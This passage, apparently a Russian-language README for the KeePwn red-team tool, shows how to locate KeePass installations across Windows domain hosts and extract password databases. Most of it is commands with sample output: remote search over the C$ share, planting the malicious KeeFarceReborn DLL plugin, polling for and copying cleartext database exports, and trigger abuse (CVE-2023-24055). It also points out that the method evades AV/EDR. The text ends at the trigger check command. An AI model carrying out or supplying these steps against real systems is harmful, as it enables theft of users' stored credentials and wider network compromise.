
Инструмент на Python для автоматизации обнаружения KeePass и извлечения секретов.

Python-скрипт для помощи red team-специалистам в обнаружении экземпляров KeePass и извлечении секретов.
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m pip install .
KeePwn --help
Или, если вы не хотите устанавливать, а просто запустить в virtualenv:
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 KeePwn.py --help
Модуль search в KeePwn используется для идентификации хостов, на которых работает KeePass в вашей целевой среде:
$ python3 KeePwn.py search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt
[*] Starting remote KeePass search with 5 threads
[PC01.COMPANY.LOCAL] No KeePass-related file found
[PC02.COMPANY.LOCAL] No KeePass-related file found
[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC04.COMPANY.LOCAL] No KeePass-related file found
[PC05.COMPANY.LOCAL] No KeePass-related file found
Он использует встроенный в Active Directory ресурс C$ для поиска файлов, связанных с KeePass, в стандартных расположениях, поэтому требуются права администратора на целевых машинах.
Модуль сначала ищет конфигурационный файл KeePass.config.xml в папке %APPDATA%\KeePass каждого пользователя, а также KeePass.exe в стандартном пути установки (C:\Program Files\KeePass Password Safe 2). Если конфигурационный файл найден, но KeePass не установлен глобально, KeePwn будет искать портативные установки во вложенных папках до --max-depth уровней.
Этой базовой техники поиска должно быть достаточно для точного определения, используется ли KeePass на рабочей станции. Кроме того, опция --get-process использует реализацию RPC от Impacket для определения, запущен ли KeePass в данный момент на цели.
Также доступны различные опции для удобства: экспорт результатов поиска в CSV-файл, отображение только целей, где найден KeePass, и настройка количества параллельных потоков:
$ KeePwn search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt --threads 4 --get-process --found-only --output keepwn_out.csv
[*] Starting remote KeePass search with 4 threads
[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC03.COMPANY.LOCAL] Found running KeePass.exe process (User: COMPANY\jdoe, PID: 3820)
[+] Search results logged to keepwn_out.csv
KeePass поддерживает фреймворк плагинов, который можно использовать для загрузки вредоносных DLL в процесс KeePass, позволяя атакующим с правами администратора легко экспортировать базу данных (см.: KeeFarceRebornPlugin).
Модуль plugin в KeePwn позволяет:
Вывести список установленных плагинов и перечислить кеш плагинов
$ KeePwn plugin check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] No path specified, searching in default locations..
[*] Found dbBackup.plgx in folder '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
[*] Found pDhkzWQYiobXhtBEEnbo in folder '\\C$\Users\jdoe\AppData\Local\KeePass\PluginCache'
Добавлять и удалять ваши вредоносные плагины
$ KeePwn plugin add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL --plugin KeeFarceRebornPlugin.dll
[*] No path specified, searching in default locations..
[*] Found KeePass Plugins directory '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
[!] About to add KeeFarceRebornPlugin.dll to KeePass Plugins directory, do you want to continue? [y/n]
> y
[+] Plugin successfully added to KeePass, wait for next restart, poll and enjoy!
Опрашивать %APPDATA% на предмет экспортов и автоматически перемещать их с удалённого хоста в локальную файловую систему
$ KeePwn plugin poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] Polling for database export every 5 seconds.. press CTRL+C to abort. DONE
[+] Found cleartext export '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
[+] Moved remote export to ./export.xml
Эти действия выполняются через доступ к SMB C$ share, что ограничивает обнаружение AV/EDR, так как не выполняется команд.
Как описано в блог-посте @harmj0y (а позже CVE-2023-24055), система триггеров KeePass может быть использована для экспорта базы данных в открытом виде.
Модуль trigger в KeePwn позволяет:
Проверить, записан ли вредоносный триггер с именем "export" в конфигурации KeePass
$ KeePwn trigger check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL